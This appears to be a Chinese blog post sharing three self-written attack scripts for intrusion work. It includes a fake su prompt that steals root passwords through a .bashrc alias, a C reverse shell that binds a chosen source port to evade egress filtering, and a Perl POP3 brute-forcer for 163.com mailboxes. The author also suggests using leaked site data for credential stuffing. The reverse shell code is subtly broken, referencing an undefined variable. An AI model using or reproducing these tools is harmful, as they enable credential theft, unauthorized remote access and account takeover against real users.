入侵渗透专用的python小脚本

渗透的很多时候,在网上找到的工具并不适用,自己写代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的红黑联盟,短小使用,求欣赏,求好评。

0×01

记录root密码小工具:

root.py

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python
import os, sys, getpass, time
 
current_time = time.strftime( "%Y-%m-%d %H:%M" )
logfile= "/dev/shm/.su.log"              //密码获取后记录在这里
#CentOS                
#fail_str = "su: incorrect password"
#Ubuntu             
#fail_str = "su: Authentication failure"
#For Linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样
fail_str = "su: incorrect password"
try :
     passwd = getpass.getpass(prompt= 'Password: ' );
     file=open(logfile, 'a' )
     file.write( "[%s]t%s" %(passwd, current_time))   //截取root密码
     file.write( 'n' )
     file.close()
except:
     pass
time.sleep( 1 )
print fail_str                               //打印切换root失败提示

打印切换root失败提示

 

 

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

0×02

设置源端口反弹shell

渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,

Ping了下百度 可以ping通,

那真相只有一个

服务器变态的限制了只能某些提供已某些端口为源端口去连接外面

比如

只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。

谷歌程序无果,自己查了相关api后写了个。

client-port.c

 

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
void error( char *msg)
{
         perror(msg);
         exit( 0 );
}
int main( int argc, char *argv[])
{
         int sockfd, portno, lportno,n;
         struct sockaddr_in serv_addr;
         struct sockaddr_in client_addr;
         struct hostent *server;
         char buffer[ 256 ];
         if (argc < 3 ) {
                 fprintf(stderr, "usage %s hostname port LocalPortn" , argv[ 0 ]);
                 exit( 0 );
         }                          //三个参数,目标主机,目标主机端口,本地源端口
         portno = atoi(argv[ 2 ]);
         sockfd = socket(AF_INET, SOCK_STREAM, 0 );
         if (sockfd < 0 )
                 error( "ERROR opening socket" );
 
 
         bzero(( char *) &client_addr, sizeof(client_addr));
         lportno = atoi(argv[ 3 ]);
         client_addr.sin_family = AF_INET;
         client_addr.sin_addr.s_addr = INADDR_ANY;
         client_addr.sin_port = htons(lportno);         //设置源端口
         if (bind(sockfd, (struct sockaddr *) &client_addr,
                                 sizeof(client_addr)) < 0 )
                 error( "ERROR on binding" );
 
         server = gethostbyname(argv[ 1 ]);
         if (server == NULL) {
                 fprintf(stderr, "ERROR, no such host " );
                 exit( 0 );
         }
         bzero(( char *) &serv_addr, sizeof(serv_addr));
         serv_addr.sin_family = AF_INET;
         bcopy(( char *)server->h_addr,
                         ( char *)&serv_addr.sin_addr.s_addr,
                         server->h_length);
         serv_addr.sin_port = htons(portno);
         if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0 )   //连接
                 error( "ERROR connecting" );
  dup2(fd, 0 );
  dup2(fd, 1 );
  dup2(fd, 2 );
  execl( "/bin/sh" , "sh -i" , NULL);                        //执行shell
  close(fd);
}

用法:

1   gcc client-port.c -o port   1   chmod +x port   1   ./port  你的IP 你的监听端口 本地的源端口

如 ./port http://www.2cto.com  80  80

红黑联盟成功反弹shell 提权成功

0×03 邮箱爆破脚本

某个时候 需要爆破一批邮箱

Burp163.pl

 

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/perl
use Net::POP3;
$email= "pop.163.com" ;          //设置pop服务器地址 qq为pop.qq.com
$pop = Net::POP3-> new ($email)or die( "ERROR: Unable to initiate. " );
print $pop->banner();
$pop->quit;
$i= 0 ;
open(fp1, "user.txt" );     
@array1 =<fp1>;
open(fp2, "pass.txt" );
@array2 =<fp2>;                     //从文件中获取邮箱用户名及密码
foreach $a( @array1 ) {
$u=substr($a, 0 ,length($a)- 1 );
$u=$u. "@163.com" ;
foreach $b( @array2 ) {
$p=substr($b, 0 ,length($b)- 1 );
print "cracked with " .$u. "-----" .$p. "n" ;
$i=$i+ 1 ;
$pop = Net::POP3-> new ($email)or die( "ERROR: Unable to initiate. " );
$m=$pop->login($u,$p);              //尝试登录邮箱
if ($m> 0 )
{
   print $u. "------------" .$p. "----" . "success" . "n" ;
   $pop->quit;
}                                //成功登录
else
{
   print $u. "------------" .$p. "----" . "failed" . "n" ;
   $pop->quit;                                     //登录失败
}
}
}
print $i;

用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱


$email="pop.163.com";

再将去除掉@后面部分的邮箱地址比如sude@163.com 去除后sude存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说

这个有点鸡肋吧 万一邮箱的密码很复杂

呵呵

搞到了一个小站的数据,

用这个程序批量测试密码是否就是邮箱密码 呵呵

我啥都没说。

0×04

这三个程序仅供技术研究,如读者用于违法行为,本人概不负

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值